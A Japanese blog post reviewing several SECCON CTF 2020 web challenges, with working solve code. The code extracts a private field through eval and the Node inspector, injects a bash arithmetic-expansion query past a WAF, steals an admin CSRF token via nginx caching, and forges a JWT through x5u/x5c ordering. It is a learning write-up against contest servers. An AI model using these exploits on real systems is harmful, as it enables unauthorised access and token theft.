好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

SECCON CTF 2020 復習 (Web系+α)

すごく今更なんですけど、2020年 10月10日~11日で行われたSECCON CTFに参加していました。全然解けなかったのでwriteupはないんだけど、復習をしたのでアップ。
問題サーバーは10月いっぱい動かしてくれるとのことだったので、まずweb系だけ先にやっておくことに。

全然知らなかったことがまだまだ出てきたり、「そこが穴になるのかー!」みたいなのがあったり、開発者視点でも「それやっちゃいそう!」と思うところも多く、学びが多かったです。復習してても楽しかった٩(๑❛ᴗ❛๑)۶ 

f:id:kusuwada:20201102060625p:plain:w400

[web] Beginner's Capsule [warmup]

Genre: Web+Misc

https://beginners-capsule.chal.seccon.jp/

beginners_capsule.tar.gzが配布されます。
中身はDockerfile, html, package, runner/server script, config。

import * as fs from 'fs';
// @ts-ignore
import {enableSeccompFilter} from './lib.js';

class Flag {
  #flag: string;
  constructor(flag: string) {
    this.#flag = flag;
  }
}

const flag = new Flag(fs.readFileSync('flag.txt').toString());
fs.unlinkSync('flag.txt');

enableSeccompFilter();

問題サイトにはこんなスクリプトが置かれており、この下に

console.log('Hello, World!');

と初期値が入っているtextbox、その下にRunボタン。

この状態でRunボタンを押すと、しばらくしてHello, World!が表示される。
どうやらこのテキストボックスに好きなスクリプトを書いてflagをゲットするらしい。

単純に

console.log(flag.#flag);

と書いてみると

/node_modules/ts-node/src/index.ts:500
    return new TSError(diagnosticText, diagnosticCodes)
           ^
TSError: ⨯ Unable to compile TypeScript:
index.ts(18,18): error TS18013: Property '#flag' is not accessible outside class 'Flag' because it has a private identifier.

この#、ハードプライベートと呼ばれる書き方で、Flagクラス以外からアクセスできないらしい。困った。

このスクリプト内でflag.txtが削除される(fs.unlinkSync('flag.txt');)ので、この後flag.txtを読み込んでも駄目っぽい。

console.log(fs.existsSync('flag.txt'));

-> false

同じ階層にある、lib.jsindex.tsはそのまま存在してるっぽい。

下記の方針が思いついた。

  1. ハードプライベートを出力させる
  2. 消されるより前にflag.txtをFlag class以外に読み込ませる
  3. process.env.FLAGを取得
  4. memory読む

ちなみにBeginnerじゃないCapsule問題もあって、こっちでは実行時にTypeScriptではなくてJavaScriptとして展開されるっぽい。ソースの差異やサーバー構成の差異はほぼ無いことから、今回の問題は1を求められている気がする。(他の解法だと同じ解法でCapsuleが解けちゃいそうなので)

hard privateについて、下記の記事を参考に穴がないか、なんとか攻撃できないか探してみる。

soft privateなメンバには、下記のようにしたらアクセスできるらしいのでやってみる。

console.log((flag as any).#flag);

-> 怒られた。残念。hard privateではできないらしい。

上の記事に書いてあるけど、読む前に思いつきでやったこと

class ExtFlag extends Flag {
  test() {
    console.log(this.#flag);
  }
}

const test = new ExtFlag('extendtest');
test.test();

-> private methodなので駄目とのエラー。hard privateは、superクラスからも継承先からもアクセスできない。
そして呼び出せたとしても、コンストラクタが呼ばれるときにしかflag読み出せないので意味ないなこれ…。

一応3.の方針もやってみる。

runner.tsの方を見てみると、

await BluePromise.all([
  fs.writeFile(libPath, LIB),
  fs.writeFile(flagPath, process.env.FLAG),
  fs.writeFile(codePath, HEADER + code),
]);

という記述を発見。runnerのほうのprocess.env.FLAGにflag本体がいるっぽい?

しかし、いじれるところのprocess.envは console.log(process.env); を入れると表示されて、

{
  NODE_VERSION: '14.13.0',
  HOSTNAME: '09a65c854ff0',
  YARN_VERSION: '1.22.5',
  SHLVL: '1',
  HOME: '/root',
  PATH: '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
  PWD: '/volume'
}

こんな感じ。FLAGはここにはセットされていない。残念。

4.の方針もenableSeccompFilterによって、/proc/self/memとかのメモリを読む行為が禁止されているっぽい。わざわざ書いてるんだからこっち路線ではなさそう。

気を取り直して方針1。
instanceは違っても、同じクラス同士なら比較できるとの事だったので

const flag2 = new Flag('SECCON{xxx}');
console.log(flag===flag2);

こんな感じで良ければブルートフォースで求められそうだけど…。ブルートフォースで解く問題はないって言ってるしなぁ…。

Turning "hard private" into "soft private" · Issue #189 · tc39/proposal-class-fields · GitHub

こんなのもあった。
export default class Flagとかしていると、module化された状態で入手でき、そこに特定のプラグインを入れることでアクセスできるというもの。でも今回はプラグインを入れたりはできないなぁ…。

babelだと

export default class MyClass {
    #secret = "You can't see me!";
    get _secret() { return this.#secret; }
    set _secret(secret) { this.#secret = secret; }
}

こんな形に翻訳してくれるらしいから

console.log(flag._flag);

みたいにしたら取れるのかなー?などとやっていた。

ここまでが競技時間中の試行錯誤。

作問者writeup
SECCON 2020 Online CTF - Capsule & Beginner's Capsule - Author's Writeup - HackMD

うおー!超スマート!
TypeScriptがJavaScriptにトランスパイルされる時に、どうなるかが鍵だった様子。
TypeScriptのprivate fieldは、JavaScriptにトランスパイルされた時にWeekMapを使って実装されている。実装のプルリクへのリンクが貼ってあったが、たどり着かなかったな…。

Private named instance fields by mheiber · Pull Request #30829 · microsoft/TypeScript · GitHub

作問者writeupに貼ってあった、TypeScriptのtranspile結果が見れるサイト、とても良かった。またお世話になることがあるかもしれないのでメモメモ。

TypeScript: TS Playground - An online editor for exploring TypeScript and JavaScript

これによると、今回のFlagクラスはJSだと

"use strict";
var __classPrivateFieldSet = (this && this.__classPrivateFieldSet) || function (receiver, privateMap, value) {
    if (!privateMap.has(receiver)) {
        throw new TypeError("attempted to set private field on non-instance");
    }
    privateMap.set(receiver, value);
    return value;
};
var _flag;
class Flag {
    constructor(flag) {
        _flag.set(this, void 0);
        __classPrivateFieldSet(this, _flag, flag);
    }
}
_flag = new WeakMap();

こんな感じにtranspileされるらしい。
WeekMapの話は競技中に調べてた時もいくつかの記事に出てきたので、

console.log(_flag.get(flag));

などと試してたのだけど、できなかったので諦めていた。
結局Flagクラス中のpublic関数で#flagを参照する必要があるのでは?という結論に至っていたのだけど。

writeupを見ると、evalに入れるとアクセスできるらしい。なぜだ。
(…しばし検索&考える時間)

evalに入れないパターンだと、コンパイルのタイミングでは_flagは定義されておらずエラーになる。
しかし、evalに入れると、コンパイル時はevalの中身を無視してくれ、実行時に評価されるので、展開された_flagを拾って処理してくれる、ということかな。

ということで、攻撃コードは下記。

console.log(eval('_flag.get(flag)'));

SECCON{Player_WorldOfFantasy_StereoWorXxX_CapsLock_WaveRunner}

へーへーへー!!

[web] Capsule

Genre: Web+Misc

https://capsule.chal.seccon.jp/

capsule.tar.gz

さっきの Beginner's Capsule との差異は既に調べた。
TypeScriptじゃなくてJavaScriptで実行されるのが大きい。

同じ方針

  1. ハードプライベートを出力させる
  2. 消されるより前にflag.txtをFlag class以外に読み込ませる
  3. process.env.FLAGを取得
  4. memory読む

があるとして、3,4,はBeginner版の時にできなさそうだと判断。1,2、で何かやり方があるかな?

全然わからんので、再び作問者writeup。
SECCON 2020 Online CTF - Capsule & Beginner's Capsule - Author's Writeup - HackMD

想定解と非想定解が2つ紹介されている。

想定解法

こっちは1.の方針に近い。
jsのhard privateを抜く方法として、Discussion: private fields and util.inspect · Issue #27404 · nodejs/node · GitHub であげられている方法を使うみたい。

Node.jsのbuilt in moduleであるinspectorを使うと、hard privateなfieldが取得できるよ、とのこと。
built inのライブラリなら、そのまま使えそう。

写経していて、参照者とのコードではexpression内で新たにクラスを定義・インスタンスを生成していたけど、今回はすでにあるクラスのインスタンスを読み込ませたい。
globalに入れてあげると、共有できるようだ。

global.flag = flag;
const inspector = require('inspector');
const session = new inspector.Session();
session.connect();
session.post('Runtime.evaluate', {expression: 'flag'},
    (error, {result}) => {
        session.post('Runtime.getProperties', {objectId: result.objectId},
        (error, {privateProperties}) => {
            console.log(privateProperties)
        });
    });

実行結果

[
  {
    name: '#flag',
    value: {
      type: 'string',
      value: 'SECCON{HighCollarGirl_CutieCinem@Replay_PhonyPhonic_S.F.SoundFurniture}'
    }
  }
]

出たー!

非想定解法

2.の、消される前に読み込ませる作戦。そうそう、これがやりたかったのだよ!でも書き方がわからなかったのだよ!JavaScript/TypeScript力(&検索力)低すぎた。

解説からリンクしてあった
Hoisting - MDN Web Docs Glossary: Definitions of Web-related terms | MDN
Hoisting の紹介がまさにこれだった。

問題のコードの先頭にある

const fs = require('fs');

これを実行する時に、下の追加でフックした関数を実行させる作戦。

function require() {
  const fs = process.mainModule.require('fs');
  console.log(fs.readFileSync('flag.txt').toString());
}

こっちもflagが出た!これ以降のrequire実行ではエラーが出てしまうけど既にflagは手に入ったので問題ない。

非想定解法2

こちらは4.のメモリを読む方針。enableSeccompFilterで禁止されたと思っていたが、v8というライブラリを使ってHeapのSnapshotを抜くと取れたらしい。

[misc] WAFthrough

Execute the /usr/bin/flag

http://153.120.168.36/cgi-bin/

WAFthrough.tar.gz

指定のurlに飛ぶと、こんな画面。

f:id:kusuwada:20201102054459p:plain

歴代のTop5のチームが表示される。

クエリは

http://153.120.168.36/cgi-bin/index.cgi?q=v

みたいな感じ。
cgiとWafのルールconfigが配布される。
アルファベットがいくつかと数字が禁止されているみたい。逆に記号は通る。

TARGET_FILE=$(sed -e 's/z/2019/g' -e 's/y/2018/g' -e 's/x/2017/g' -e 's/w/2016/g' -e 's/v/2015/g' <(echo $VAR))

ここ怪しいな。

2015: v 
2016: w
2017: x
2018: y
2019: z

こんな形の対応で書き換えられる。

問題文の通り、GoalはExecute the /usr/bin/flag
なるほど、だからusrbinflag0123456789が禁止されているのか。

/usr/bin/flagをhexかoctで表示させるように、2015 - 2019 を組み合わせて計算させて作るとか?
…WAFのルールを見ると、アルファベットは一度しか登場させられない。これは厳しい。

ok: q=y+z-v-w, q=y/(x-v) # エラーも何も表示されないので数値として認識されたっぽい
ng: q=yy, q=y+y-x-x      # WAF block

以上より、

  • クエリに入れた値は四則演算できそう
  • 2014より大きい値の場合は、ファイルを探して表示してくれる。
  • アルファベットは一回ずつしか登場させられない。
  • shellで数値と解釈される文字列を入れる必要がある

こんな感じに持っていけないかなー?厳しいかなー?

$ cat $'\162\165\154\145\163\56\143\157\156\146'
$ (cat rules.conf)

ん?まてよ?これ完全にshell芸じゃん!shell芸人作問のやつか?!

ってかSECCON 2019 Onlie の [Web] SECCON_multiplicater

でやったじゃん!ってか画面そっくりじゃん!!!!
(競技終了30分前に気づく…。遅い…。)

この後上記のmultiplicaterの時に学習した_[$({commands})]という形でクエリに突っ込むんじゃないかと、色々試行錯誤してみるもflag取れず。このときみたいにhexやoctが使えると良かったんだけど、今回はこれも使えない。
よくTLに流れてくる、あの💩表示させる記号だけで成り立ってるようなやつでしょー!と思ったものの、眺めてただけでシェル芸に全然入門してなかったわ、私…。

その後、以下のwriteupを発見。

みんな思い思いのシェル芸しとる…。
作問者想定解の記事は、ちょうど復習に着手した翌日に書かれてラッキー!この記事メインに復習しました。

以下復習しながらのつぶやき

WAFルールの

SecRule RESPONSE_BODY "SECCON" "id:'9000091'"

これ見逃してたな。response_bodyにSECCON入っちゃいけないってのがあったのか。

年号に変換される文字列を操ってなんとかすると思ってたけど、禁止されていない && 年号に変換されていない文字列を使うのか。で、echoが残っているので、このコマンドはそのまま使えるぞ、と。フムフム。

数値の生成方法は、完全にいつもTLに流れてるやつだ…!コマンドの終了ステータスをもとに組み立てるのか。
そうそう、'とかspaceがurlencodeで%27とか%20に変換されちゃう -> 数字が入っちゃうからWAFで弾かれる、で困ってたんだよね。こでも回避方法があるのか。

さまざまな方法がありますが、ここではdateの実行結果からスペースを抜き出す方法を使っています。

ひゃー!すごい。しかもdateの実行も使用できない文字が入ってるから、それは?で乗り切ったりできるらしい。それすら知らなかった。奥が深すぎる…。

システムなんかのディレクトリ構成は探りながら決めていく感じなんかな?

douroさんの

q=_[`../../*/?[k-m]??|/???/o?`]

の方法とてもわかり易い。こちらの解説も作問者想定解記事に載っていた。
lを直接表現しなくても[k-m]で雑に絞るとか、/bin/odを指定して8進に変換するとか、目からウロコの方法が。

問題文に/usr/bin/flagとあるのと、アルファベットを複数回使用&[v-z]を使用しなければもう少し対象を絞れるので

q=_[`/??[p-t]/???/?[k-m]?[e-h]|/???/o?`]

こうしてもいいはず。(みんな../../bin/usr/flagってpathをどうやって導いたのかな?)
試しにリクエストを送ってみる。と、こんな応答。

/usr/lib/cgi-bin/index.cgi: line 52: 0000000 042523 041503 047117 053573 043101 030060 030060 030060 0000020 030060 030060 076441 000012 0000027: syntax error in expression (error token is "042523 041503 047117 053573 043101 030060 030060 030060 0000020 030060 030060 076441 000012 0000027")

この応答が万が一得られたとして、実際競技中だったらどうやってflagに直すんじゃ?
と、little endian の 8進 暑かったことなかったので、一応コード書いて変換してみた。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import binascii

oct_le = '0000000 042523 041503 047117 053573 043101 030060 030060 030060 0000020 030060 030060 076441 000012 0000027'

arr = oct_le.split(' ')

for a in arr:
    b = int(a,8).to_bytes(2, byteorder='little')
    print(b.decode(), end='')

実行結果

$ python solve.py 
SECCON{WAF0000000000!}

👍

st98さんの、localでsleepで挙動試すやつ、去年のmultiplicaterの復習のときにwriteup参考にさせて頂いてたのもあって、sleepで挙動を試す、っていうのを競技中にやろうとしてたんだけど、どうやってコマンド送っていいかわからず諦めてた。
localでWAF抜きにして再現しちゃえばよかったんですねー。

まとめ

どのwriteupも、基本方針として../../bin/flagもしくは/usr/bin/flagを実行し、resにSECCONという文字列が含まれないようbase64やoctalや文字を削るといった作業をしている。bashの算術式の評価に関する仕様(配列の添字の中で任意のコマンドが実行できる)を使って _[${attack}] みたいな文字列をクエリに送り込み、if [[ "$TARGET_FILE" -gt 2014 ]]の比較の箇所をinjectしている。

ifのダブルブラケットを使った比較は、このように算術式展開されてしまう脆弱性があるとのことで、ユーザーから直接値を受け取れるようなシステムでは使わないほうが良さそう。

[web] Milk

Sadly not every developer is well posted in the cutting-edge technologies, so sometimes bizarre interface is driven under the hood.

https://milk.chal.seccon.jp/

milk.tar.gz

Update(2020/10/10 17:38): We disclosed a part of our crawler as a hint. crawl.js

競技中一度も眺めなかったので、全部復習。
どうやら競技中にヒントでcrawl.jsが追加されたらしい。

配布されたtarはapplicationのコードが入っていてこんな感じ。

$ tree
.
├── api
│   ├── index.ts
│   ├── mongo.ts
│   ├── notes.ts
│   ├── root.ts
│   └── users.ts
├── docker-compose.yml
├── front
│   ├── index.js
│   ├── index.php
│   └── note.php
└── nginx.conf

2 directories, 10 files

topページ

f:id:kusuwada:20201102054620p:plain

ユーザーを登録すると、noteを作成できるフォームが登場。

f:id:kusuwada:20201102054631p:plain

試しに作成してみると、adminへ報告のボタンが!これよく見るやつや!

f:id:kusuwada:20201102054640p:plain

adminに、自分のサイトへflagを持って来てもらうようにするタイプのやつかな?

note.ts にこんなコードが。

router.get('/flag', async (ctx) => {
  if (!ctx.state.user.admin) {
    ctx.response.body = 'Flag is the privilege available only from admin, right?';
    ctx.response.status = 403;
    return;
  }

  ctx.response.body = Deno.env.get('FLAG');
});

ctxuserがadminだと、flagを表示してくれるらしい!

crawl.js

const crawl = async (url) => {
    console.log(`[*] started: ${url}`)
    
    let browser = await puppeteer.launch(browser_option);
    const page = await browser.newPage();
    try {
        await page.authenticate({username: 'seccon', password: 't0nk02'});

        await page.goto(`https://${process.env.DOMAIN}`, {
            waitUntil: 'networkidle0',
            timeout: 5000,
        });

        await page.type('.column:nth-child(2) [name=username]', process.env.ADMIN_USER);
        await page.type('.column:nth-child(2) [name=password]', process.env.ADMIN_PASS);
        await Promise.all([
            page.waitForNavigation({
                waitUntil: 'networkidle0',
                timeout: 5000,
            }),
            page.click('.column:nth-child(2) [type=submit]'),
        ]);

        await page.goto(url, {
            waitUntil: 'networkidle0',
            timeout: 5000,
        });
    } catch (err){
        console.log(err);
    }
    await page.close();
    await browser.close();
    console.log(`[*] finished: ${url}`)
};

途中で配布されたcrawl.jsは、どうやらadminがページを見に来る時に使用するスクリプトのようだ。

note.tsに記載のある/post,/flagあたりにリクエストを送ってみるも、どうも期待した挙動をしていない。
おかしいなー?と思って真面目に他のコードを読んでみると、nginx.confにserverの定義がもう一つある。

server {
        listen 0.0.0.0:443 ssl;
        server_name milk.chal.seccon.jp;
...
server {
        listen 0.0.0.0:443 ssl;
        server_name milk-api.chal.seccon.jp;

どうやらapiサーバーが別にあるみたい。
docker-compose.ymlを見てみても、front,apiという2つを立ち上げているのがわかる。
milkサーバーがfront, milk-apiがその後ろ、みたいなイメージかな。
やはりweb問は、闇雲にコードを読み始めるより、docker-compose系を読んで構成をイメージ、nginx系を読んでroutingをイメージしてからコードを読み始めるのが良さそう。

この2つのサーバー、下記のようなCORS (Cross-Origin Resource Sharing)の設定がされていて、tokenなどの横流しができるようになっている。

nginx.confのapiサーバー側の設定

add_header Access-Control-Allow-Origin https://milk.chal.seccon.jp always;
add_header Access-Control-Allow-Credentials true always;

nginxのCORSの設定や、どういう挙動になるかは

APIサーバを立てるためのCORS設定決定版 - Qiita

こちらの記事がわかりやすかった。

オリジン間リソース共有 (CORS) - HTTP | MDN

mozillaのCORS解説。いつもお世話になります。

リソースへのリクエストが資格情報付きで行われた場合にリソースと共にこのヘッダーを返さなければ、レスポンスはブラウザーによって無視され、ウェブコンテンツに返らないことに注意してください

ということで、資格情報もやり取りできるようになっている。

ざっとコード見た流れ

  1. userはregister & signin
  2. userがnoteを作成
  3. report to admin すると、adminが指定したnoteを見に来てくれる
  4. adminのcsrf-tokenを持って apiサーバーの /note/flag にアクセスすると、flagが得られる

index.jsのトップに書かれている、csrf-tokenapiコール処理

const token = await $.get({
    url: 'https://milk-api.chal.seccon.jp/csrf-token',
    dataType: 'jsonp',
    jsonp: false,
    jsonpCallback: 'csrfTokenCallback',
  });

にて、jsonpCallbackオプションでコールバック関数の名前が指定されている。ここで csrf-token のコールバックが受けられるみたい。

csrf-tokenの発行処理は root.ts にあり、token, usernameのセットでDBに記録されることがわかる。

router.get('/csrf-token', async (ctx) => {
  const username = ctx.cookies.get('username') || '';

  if (ctx.request.url.search.length <= 12) {
    ctx.response.body = 'Path is shorter than expected';
    ctx.response.status = 400;
    return;
  }

  const token = UUID.generate();
  await Tokens.insertOne({token, username});

  ctx.response.body = `csrfTokenCallback('${token}')`;
  ctx.response.headers.set('Content-Type', 'text/javascript');
});

token検証時はtokenがDBにあるか。usernameが空でないか、しか確認していないので、誰のtokenでもDBに存在すれば使えそう。api > notes.ts の csrf token の validation処理を見てみると、検証が終わった後にtokenを無効にしているので、一度しか使えないみたい。
adminにcsrf-tokenを発行してもらって、adminが使う前にこっちが/csrf-tokenにアクセスしてtokenを取得・使ってしまえないだろうか。

nginx.confの設定を再度見てみる。最後の方に

location / {
    proxy_pass http://api:8000;
    proxy_read_timeout 5s;
    proxy_cache one;
    proxy_cache_valid 200 1m;
}

と、cacheに関する設定が書いてある。これによると、status codeが200の応答に関しては1分間キャッシュしてくれるみたい!
ということは、 /csrf-token にアクセスすると、誰かが取りに来たやつのresponseキャッシュが返ってきそう!しかし、どうやってお目当てのadminのキャッシュを取るんだろう?

更に、nginx.confのfrontサーバー側の設定

location ~ ^/notes/(?<id>.+) {
    set_secure_random_lcalpha $res 32;
    try_files $uri /note.php?id=$id&_=$res;
}

/note/{id}みたいなパスに来た時に、気になる処理が入っている。
set_secure_random_lcalpha は、指定した長さのcryptographically-strongなランダム文字列を返してくれるらしい。
nginxがリクエストを/note/{id}に振り分ける時、このランダム文字列を _ のクエリパラメータにくっつけて送っている。

この _ がどこで同処理されているかと言うと、note.phpのほうにありました。

<script src=https://milk-api.chal.seccon.jp/csrf-token?_=<?= htmlspecialchars(preg_replace('/\d/', '', $_GET['_'])) ?> defer></script>

ハハーン、/csrf-tokenを呼ぶ時に、このnginxで発行されたランダム文字列をurl(_パラメータ)につけて呼ぶようになってるんだな。どのurlで呼んだかは、ランダムなので実際にrespoinseを受け取ったadminしかわからないはず、と。フムフム。

adminがcsrf-tokenを取りに行く際の _ がわかれば、キャッシュからrespoinseをシュッと取ってきて、サッとflagを取りにいけそう。

先程のnginxの書き方だと、先にこちらが&_=のパラメータを指定しておけばnginxのランダム文字列付与の条件に入らないので、こちらのつけたパラメータがそのまま送られることになります。
ということは、adminに /notes?id={id}&_={my_random} みたいなurlを報告すると、/csrf-token?_={my_random}にアクセスしてcsrf-tokenを発行してもらうのでは!
で、そのresponseを /csrf-token?_={my_random} にアクセスして、responseのキャッシュを窃取できるのでは?

import requests

front_url = 'https://milk.chal.seccon.jp'
api_url = 'https://milk-api.chal.seccon.jp'
id = '000000000000000'  #formatがあっていれば何でも良い
my_random = 'kusuwada_random'  #formatがあっていれば何でも良い

# admin に 見てもらう. _ のパラメータを指定してcsrf-tokenを発行するためのurlがほしいだけなので、idは適当で良い
s = requests.Session()
data = {"url": front_url + "./note.php?id=" + id + \
        "&_=" + my_random}
res = s.post(front_url+'/report', data=data)
print(res.text)

# キャッシュが取れるようになるまで待つ
while True:
    res = s.get(api_url + '/csrf-token?_=' + my_random)
    print(res.text)
    if "Referer header is not set" not in res.text:
        token = res.text[19:-2]
        print(token)
        break

# flag取得!
headers = {"Referer": front_url + '/'}
res = s.get(api_url + '/notes/flag?token=' + token, headers=headers)
print(res.text)

実行結果

$ python solve.py 
Okay! I got it :-)
Referer header is not set
Referer header is not set
(~中略~)
Referer header is not set
csrfTokenCallback('a91230db-7de7-4954-950f-389804dd3a62')
a91230db-7de7-4954-950f-389804dd3a62
SECCON{I_am_heavily_concerning_about_unintended_sols_so_I_dont_put_any_spoiler_here_but_anyway_congrats!}

🙌

writeupリンク集

[web] Milk Revenge

It's no use crying over spilt milk, but we resolved it by releasing another Milk :)

https://milk-revenge.chal.seccon.jp/

The crawler of this service is crawl.js.

We expect you don't have to read this, but the source code of the new service is available at milk-revenge.tar.gz.

上記と全く同じ解法・スクリプトで解けた。
どうやら、javascript:スキームが使える穴を塞いだもののようだ。

[web] pasta

I made a simple application with a proxy for authentication. What's fantastic is that you can log in to the application from the another app. Enjoy!

Hint: source code

urlが2つと、ソースコードファイルが配布される。

とてもシンプルなアプリとのこと。
他のアプリにログインするためのプロキシらしい。

f:id:kusuwada:20201102054825p:plain

名前を入れてGoしてみると

f:id:kusuwada:20201102054851p:plain

このページが出て終わり。後はlogoutするくらい。 loginすると、auth_tokenという長ーいtokenがcookieに保存される。

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3N1ZXIiOiJwcm94eSIsInJvbGUiOiJ1c2VyIiwic3ViIjoia3VzdXdhZGEifQ.Zjoujb37x9WwI25xUNCatSr7bmH2XqeKWd-GlOGL1Xne5YjAufadn6S4RW3YKshjnzkX7kTY3N2CeChkkD4MONVZ8I9VRPiEvVHQsNkWckdkG8I7xvrteC3TqWHc2nMaqSgkRvfm8blVnSYsBJ2WtLE2s4vQNaAmLSBNdTy83sTaHL5SKn3WSemsls99MNPoRAphdbZKUzxgeiI4a4TrfF3oqEkgBKuh9ZVWLQ0t2VJVN8ggOlc30pUg7owAHqEiaRBbAnx1dNtNQYCOu4F7E7vsn9e4w0nc32HWaIF9gS0BZ4Go9siOILuTLAJN0yQYXuClwJstHXaNreDEuepJwmI4IkESQPXVz0x-lTi75x45hrvDjjJTh8MVguiysIzJVdD3F_hxN4Wo_IlcZDkRcF2xuBwMrRCAqkjMkLS3rXcZDeOqXp88nUK2xusfZ8DAPx3TSJJYtH22p70LiTPXmC24hgMazfv1snbgIOpb-1QJxUi3ouzV4TQOiAVGwzQpmwBUw6ulVxNhLRrUpUDCVe9ZHJiSasNGOT0i6lPVGNQYZbxZTQp7Qtt8HLgkDjjdxq22Gy83IPGewiYhTUpDwfSLpei7W38fj3HnX2eUR6VQf8zXHHkwtSBr538NJ2P3kvTztheFAtWRol1noEVwxanGx1eMz5VwpZcGrke4wtI

もう一つのurlのサービスはこんな感じ。

f:id:kusuwada:20201102055010p:plain

ServiceBからServiceAにJWT使ってログインできるよ、とのこと。
名前を入れて、JWTを選択してGoすると、先程のServiceAにログインできたっぽい。ドメインが変わっている。

f:id:kusuwada:20201102055042p:plain

cookieはserviceAのドメインにauth_tokenが発行されている。

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsIng1dSI6Imh0dHA6Ly9zZXJ2aWNlLWIvY2VydC5jcnQifQ.eyJpc3N1ZXIiOiJzZXJ2aWNlLWIiLCJyb2xlIjoidXNlciIsInN1YiI6Imt1c3V3YWRhIn0.OpbA61muuzkfkjC2q84fofqE9t39zMtsjgV1lvQ-5KpMux9f-WvFwiHXUn399Cz_763cXjQzElWegDJfipRmPHM_SoLvVsGnxUZwA9M0UdSsuKN_pQeoVZfZZcF94apZO9ZE0vBD5VnhPH4uJ4cLStfiXYyHW_nmnOUIuSmfxFZuDgDgxkx2eVz2wEa5CB5gG0KDikKLzY6sf0PmtIz0JVvN_csLOUdrmrNywZL3_MPPXKzqgRCYe139E4uKE7izejIO4LIWSKbeAbCVqu7db5XS49QH6k888YhOrlO16-mIgxOTowKELEocx8pmRO2gBlf8wkIajV9lgvoXFCfovUI81JGyKz60iJQ-h7MRWesab-oA5UxcBNgsB6EFcPHGUAJmqhVO2ML47uP8tr-RleWZ5v7TU2SZTIJl5bk_4FblAyba9Rh3s_s5itd74dbCjgm4VSo7qaFKBQScntRA1ZRxzfdgBNqPQf2fbKq2UrBsH2HLXuOgsHpoEtKbR3oi_wr9HDpN6upokptAT1p-1lXcxMRCz908v5vGco_NCnXETa0Vu-smEE-4SF2c5jgqOQKG3Yo6UgrB_lA9inaq-ozjWvIiqZc9urr8gXJ4atSpalL8gkRmMbb_t4m7JJ47PlYZ21p4580W7Y5p8_AUZsvU0LXPy-0GhbCS-HmLMKc

ソースをざっと眺めてみる。コメントが結構丁寧に書いてあって読みやすい。

$ tree
.
├── auth
│   ├── Dockerfile
│   ├── cert.go
│   ├── go.mod
│   ├── go.sum
│   ├── jwt.go
│   └── main.go
├── certgen
│   ├── Dockerfile
│   └── certgen.sh
├── docker-compose.yml
├── nginx
│   ├── Dockerfile
│   └── conf
│       ├── default.conf
│       └── nginx.conf
├── service-a
│   ├── Dockerfile
│   ├── go.mod
│   ├── go.sum
│   └── main.go
└── service-b
    ├── Dockerfile
    ├── go.mod
    ├── go.sum
    └── main.go

こんな構成。nginxを眺めてみると、下記のサービスが立っていることがわかる。

  • nginx
  • auth
  • service-a
  • servuce-b (external service)
  • certgen (one-time utils)

service-aの環境変数にFLAGが渡されるようだ。 service-aにadminのroleを持つjwtをつけてアクセスできれば、flagを表示してくれるらしい。

jwtの作成をしているのはservice-b。
秘密鍵と証明書を読み込み、jwtに証明書を埋め込み・秘密鍵でjwtにサインしている。
このtokenをservice_aのプロキシに投げている。

秘密鍵と証明書がわかれば、service-bのフリをしてrole=adminのjwtを作って送ることができそうだけど、秘密鍵を摂取するのは難しそうだなぁ。

と、ここで現在10/31の夕方@子どもたちお昼寝中。今日で問題サーバーがダウンしてしまうっぽいので、作問者writeupを読んでみました。

作問者writeup

めっちゃ勉強になります!ありがたい!

ここで、auth > main.gohttp.HandleFunc("/validate" のところを見ていきます。

jwtの検証

token, err := jwt.Parse(authToken, generateKeySelector(&privateKey.PublicKey))

cookieにセットされたauthTokenからjwtを抜き出し、generateKeySelectorでjwtから証明書を抽出。抽出した証明書のpublicKeyを使ってjwt全体を検証。(jwtに証明書がない場合は自身の証明書のpublicKeyを使用)

証明書のチェーンを検証

if ok := validateTokenHeader(token, rootPool);

渡したtokenから証明書を抽出し、この証明書が自身の発行したものかを確認。

ということで、jwtの検証と証明書のチェーン検証が個別に行われているようです。
この時、同じ証明書を検証していれば問題なさそうですが、今回は別々の証明書を検証させる事ができるというのが解法。

これはTOCTOU (Time of Check to Time of Use)と呼ばれる穴らしい。
検証と使用を分けていると、今回のように検証した対象と違うものを使用する可能性があるってことかな。

具体的には、上記のvalidateTokenHeadergenerateKeySelector、いずれも証明書を抽出する際に関数extractCertificateChainFromHeaderを使っている。

func extractCertificateChainFromHeader(token *jwt.Token) ([]*x509.Certificate, bool) {
    for k, v := range token.Header {
        if k == "x5u" || k == "x5c" {
            var certs []*x509.Certificate
            var err error
            if k == "x5u" {
                certs, err = extractCertificatesX5U(v.(string))
            } else if k == "x5c" {
                certs, err = extractCertificatesX5C(v.([]interface{}))
            }
            return certs, err == nil
        }
    }
    return nil, false
}

この関数では、headerにx5uまたはx5cが入っていれば、先にヒットした対象を抽出する仕様になっている。
x5uはX.509証明書が置いてあるURL, x5cはX.509の証明書そのもの

ここで使われているjwt.Tokenの構造を確認します。importにも書いてあるとおり、下記のライブラリを使用しているようです。

jwt-go/token.go at master · dgrijalva/jwt-go · GitHub

type Token struct {
    Raw       string                 // The raw token.  Populated when you Parse a token
    Method    SigningMethod          // The signing method used or to be used
    Header    map[string]interface{} // The first segment of the token
    Claims    Claims                 // The second segment of the token
    Signature string                 // The third segment of the token.  Populated when you Parse a token
    Valid     bool                   // Is the token valid?  Populated when you Parse/Verify a token
}

見てみると、Headerはmapで定義されています。そのため、

for k, v := range token.Header {

の部分はmapの仕様上、順序が不定となり、x5ux5c両方入っていた場合はどっちが先に検証されるか不定となる。
このため、片方にservice-bから発行された正式なもの、もう一方を自分が偽造したrole=adminのjwtを入れておくと、一定の確率で証明書チェーンの検証の際にservice-bのほうがヒット、jwtが検証される時に偽造したほうがヒットするようになる。

ほー!おもしろーーーーい!!!!jwtの設計・実装・運用する側としても、とても勉強になりました。

置いてあったソルバに、シャットダウン寸前の service-a, service-b のurlを入れ、自分で作成した private key と 証明書(gistにあげて公開、urlをソルバのものから差し替え)して動かしてみると、3回目の試行でflagがgetできました!

$ python sample.py 
failed. going to retry after waiting 1s...
failed. going to retry after waiting 1s...
<h1>Service A</h1><p>hello! you are solver from evil, right?</p><a href="/proxy/logout">logout</a>The flag is: SECCON{1_w0uLd_L1K3_70_347_r4M3N_1N5734d_0f_p4574}

これは美しい問題だなぁ…!

